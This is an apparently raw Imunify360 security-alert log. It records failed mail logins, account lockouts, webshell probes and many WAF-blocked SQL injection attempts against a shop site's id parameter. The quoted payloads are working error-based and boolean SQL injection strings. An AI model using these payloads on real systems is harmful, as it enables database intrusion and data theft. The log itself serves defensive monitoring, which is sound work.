abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:20:45 dovecot_login authenticator failed for H=(tBZ4YlCdYF) [158.94.208.175]:63687: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:20:10 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:20:12 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61242: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 188.239.49.83
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/3-side-seal-bag/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:20:37 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:36010: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:20:49 dovecot_login authenticator failed for H=(d4JqBc) [178.16.52.139]:60338: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 94.129.90.81
country_id: 285570
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1 and and/**/9152=utl_inaddr.get_host_name((select/**/chr(126)||%27~%27||(select/**/(case/**/when/**/(9152=9152)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||%27~%27||chr(126)/**/from/**/dual))-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 201.219.66.43
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1))and/**/10960=utl_inaddr.get_host_name((select/**/chr(126)||'~'||(select/**/(case/**/when/**/(10960=10960)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||'~'||chr(126)/**/from/**/dual)) and ((3917=3917||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-02-02 05:20:44 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:50224: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.60.211.114
country_id: 6252001
description:
2026-02-02 05:20:11 dovecot_login authenticator failed for H=67-60-211-114.cpe.sparklight.net [67.60.211.114]:53181: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:20:47 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@cordage.com.my has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:20:18 dovecot_login authenticator failed for H=(spxMhm) [165.154.217.204]:54796: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 138.97.66.106
country_id: 3469034
description:
2026-02-02 05:20:53 dovecot_login authenticator failed for H=138-97-66-106.westlink.net.br [138.97.66.106]:47113: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:21:15 dovecot_login authenticator failed for H=(UUoMQMh) [178.16.52.139]:51213: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 201.219.66.43
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1' AND AND/**/ROW(4157,1006)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(4157=4157,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/2193/**/UNION/**/SELECT/**/2486/**/UNION/**/SELECT/**/9795/**/UNION/**/SELECT/**/2847)a/**/GROUP/**/BY/**/x)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.229.25.160
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1' AND /*!50000AND*/ROW(6699,10359)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(6699=6699,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/4618/*!50000UNION*//*!50000SELECT*/8219/*!50000UNION*//*!50000SELECT*/5667/*!50000UNION*//*!50000SELECT*/8717)a/*!50000GROUP*//*!50000BY*/x)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 201.219.66.43
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'AND/**/UPDATEXML(7130,CONCAT('.','~',(SELECT/**/(ELT(7130=7130,1))),'~'),7902) OR 'tNhEKTeY'='KxloQwEH||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:21:10 dovecot_login authenticator failed for H=(4Eu9ne) [165.154.217.204]:60014: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:21:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 14.229.25.160
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1' AND /*!50000AND*/ROW(6699,10359)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(6699=6699,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/4618/*!50000UNION*//*!50000SELECT*/8219/*!50000UNION*//*!50000SELECT*/5667/*!50000UNION*//*!50000SELECT*/8717)a/*!50000GROUP*//*!50000BY*/x)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 14.229.25.160
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1') and and/**/row(9495,1945)>(select/**/count(*),concat('~',(select/**/(elt(9495=9495,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/2427/**/union/**/select/**/4002/**/union/**/select/**/3450/**/union/**/select/**/4851)a/**/group/**/by/**/x)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.229.25.160
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1') and and/**/row(9495,1945)>(select/**/count(*),concat('~',(select/**/(elt(9495=9495,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/2427/**/union/**/select/**/4002/**/union/**/select/**/3450/**/union/**/select/**/4851)a/**/group/**/by/**/x)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:21:07 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54773: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:21:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@cordage.com.my has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:21:21 dovecot_login authenticator failed for H=(ydmPX1k7S) [158.94.208.175]:62896: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 201.219.66.43
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'and/**/updatexml(7130,concat('.','~',(select/**/(elt(7130=7130,1))),'~'),7902) or 'tnhektey'='kxloqweh||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-02-02 05:21:23 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:46096: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-02-02 05:21:33 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:35386: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 201.219.66.43
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1' and and/**/row(4157,1006)>(select/**/count(*),concat('~',(select/**/(elt(4157=4157,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/2193/**/union/**/select/**/2486/**/union/**/select/**/9795/**/union/**/select/**/2847)a/**/group/**/by/**/x)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.229.25.160
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'))/*!50000AND*/ROW(3607,4939)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(3607=3607,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/3691/*!50000UNION*//*!50000SELECT*/2054/*!50000UNION*//*!50000SELECT*/9162/*!50000UNION*//*!50000SELECT*/9447)a/*!50000GROUP*//*!50000BY*/x) AND (('1DD9wWVr'='1DD9wWVr||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:22:25 dovecot_login authenticator failed for H=(Kdbjpn9up) [158.94.208.175]:56662: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:22:28 dovecot_login authenticator failed for H=(QnZFPvl9W) [165.154.217.204]:51766: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.158
country_id: 2750405
description:
2026-02-02  5:22:37 263276 [Warning] Aborted connection 263276 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.158' (This connection closed normally without authentication)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 14.229.25.160
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1'))/*!50000AND*/ROW(3607,4939)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(3607=3607,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/3691/*!50000UNION*//*!50000SELECT*/2054/*!50000UNION*//*!50000SELECT*/9162/*!50000UNION*//*!50000SELECT*/9447)a/*!50000GROUP*//*!50000BY*/x) AND (('1DD9wWVr'='1DD9wWVr||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:22:08 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@cordage.com.my has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:22:08 dovecot_login authenticator failed for H=(1GFf4R) [165.154.217.204]:49700: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:22:48 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:44202: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:22:10 dovecot_login authenticator failed for H=(zwTIRlv) [178.16.52.139]:50912: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:22:34 dovecot_login authenticator failed for H=(ffWc9d9) [178.16.54.138]:57216: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 189.22.239.38
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'/*!50000AND*/GTID_SUBSET(/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(1156=1156,1))),'~'),1156)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 14.229.25.160
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1')))and/**/row(10218,9162)>(select/**/count(*),concat('~',(select/**/(elt(10218=10218,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/2996/**/union/**/select/**/3241/**/union/**/select/**/5530/**/union/**/select/**/3997)a/**/group/**/by/**/x) and ((('z5w6xihu'='z5w6xihu||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.229.25.160
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1')))and/**/row(10218,9162)>(select/**/count(*),concat('~',(select/**/(elt(10218=10218,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/2996/**/union/**/select/**/3241/**/union/**/select/**/5530/**/union/**/select/**/3997)a/**/group/**/by/**/x) and ((('z5w6xihu'='z5w6xihu||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:22:09 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:22:30 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58587: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 189.22.239.38
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'and/**/gtid_subset(concat('~',(select/**/(elt(6541=6541,1))),'~'),6541) or 'u3eedtrr'='ft9tgio1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:23:33 dovecot_login authenticator failed for H=(LF8bxjqRK) [158.94.208.175]:50123: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 189.22.239.38
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1' AND /*!50000AND*/JSON_KEYS((/*!50000SELECT*//*!50000CONVERT*/((/*!50000SELECT*//*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(10108=10108,1))),'~'))/**/USING/**/utf8)))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:23:06 dovecot_login authenticator failed for H=(cT2qWunib) [165.154.217.204]:55931: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:23:07 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:23:16 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52405: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:23:29 dovecot_login authenticator failed for H=(heHOLprTAn) [178.16.52.139]:62265: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 189.22.239.38
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1') and and/**/json_keys((select/**/convert((select/**/concat('~',(select/**/(elt(7742=7742,1))),'~'))/**/using/**/utf8)))-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 189.22.239.38
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1')AnD/**/1152=CASt((%27~%27||(SELecT/**/(case/**/WHen/**/(1152=1152)/**/thEN/**/1/**/elsE/**/0/**/end))||%27~%27)/**/As/**/xML)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 189.22.239.38
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'and/**/6389=cast(('~'||(select/**/(case/**/when/**/(6389=6389)/**/then/**/1/**/else/**/0/**/end))||'~')/**/as/**/xml)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:24:24 dovecot_login authenticator failed for H=(9qPhExgm) [178.16.52.139]:54005: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.82.169.226
country_id: 2635167
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/application/js/home.js HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:24:59 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:39648: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.206.72.53
country_id: 2635167
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/application/js/all.js HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:24:01 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.194.142.167
country_id: 1814991
description:
2026-02-02 05:24:13 dovecot_login authenticator failed for H=([112.194.142.167]) [112.194.142.167]:47188: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 181.208.115.113
country_id: 3625428
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1')AND/**/8751=(SELECT/**/'~' (SELECT/**/(CASE/**/WHEN/**/(8751=8751)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END)) '~'/**/FOR/**/XML/**/PATH(''))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-02-02 05:24:52 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:46874: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.82.171.141
country_id: 2635167
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/application/js/smooth.scroll.js HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:24:18 dovecot_login authenticator failed for H=(t6zAO025Wv) [158.94.208.175]:59482: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:24:41 dovecot_login authenticator failed for H=(gU15I0W) [165.154.217.204]:49247: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:24:03 dovecot_login authenticator failed for H=(fXcDDoku) [165.154.217.204]:61270: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 133.159.124.223
country_id: 1861060
description:
2026-02-02 05:24:25 dovecot_login authenticator failed for H=223.124.159.133.rev.iijmobile.jp ([127.0.0.1]) [133.159.124.223]:43611: 535 Incorrect authentication data (set_id=premalata)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:24:26 dovecot_login authenticator failed for H=(0SEKwTblH) [178.16.54.138]:57331: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.13.26.209
country_id: 1814991
description:
2026-02-02 05:24:18 dovecot_login authenticator failed for H=([127.0.0.1]) [27.13.26.209]:38363: 535 Incorrect authentication data (set_id=premalata@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.216.169.12
country_id: 2328926
description:
2026-02-02 05:24:18 dovecot_login authenticator failed for H=([41.216.169.12]) [41.216.169.12]:50226: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-02-02 05:24:30 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:46621: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 181.208.115.113
country_id: 3625428
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1')and/**/8751=(select/**/'~'+(select/**/(case/**/when/**/(8751=8751)/**/then/**/'1'/**/else/**/'0'/**/end))+'~'/**/for/**/xml/**/path(''))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:24:13 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63769: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/m.me/img/druma_photos/about.php||SC:/home/indfinitydesign/public_html/m.me||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.232.255.144
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\"and/**/gtid_subset(concat('~',(select/**/(elt(4224=4224,1))),'~'),4224) and \"td3tuiag\"=\"td3tuiag\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.232.255.144
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\"AND/**/GTID_SUBSET(CONCAT('~',(SELECT/**/(ELT(4224=4224,1))),'~'),4224) AND \"tD3tUiAg\"=\"tD3tUiAg\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.87.152
country_id: 1814991
description:
2026-02-02 05:25:13 dovecot_login authenticator failed for H=([111.61.87.152]) [111.61.87.152]:36840: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:25:25 dovecot_login authenticator failed for H=(xTOoizp) [178.16.54.138]:49931: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.228.228
country_id: 1269750
description:
2026-02-02 05:25:29 dovecot_login authenticator failed for H=(nsg-corporate-228.228.187.122.airtel.in) [122.187.228.228]:53591: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:25:17 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:25:03 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58165: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:25:05 dovecot_login authenticator failed for H=(TSTcvBP) [165.154.217.204]:51887: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:25:49 dovecot_login authenticator failed for H=(yajh8faLX2) [178.16.52.139]:53106: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:25:25 dovecot_login authenticator failed for H=(5zXqv8gV) [158.94.208.175]:63130: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 181.208.115.113
country_id: 3625428
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'and/**/1488=dbms_utility.sqlid_to_sqlhash(chr(126)||'~'||(select/**/(case/**/when/**/(1488=1488)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||'~'||chr(126)) or '6l46ual8'='gv45kaks||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 181.208.115.113
country_id: 3625428
domain: www.aoto.com.my
description:
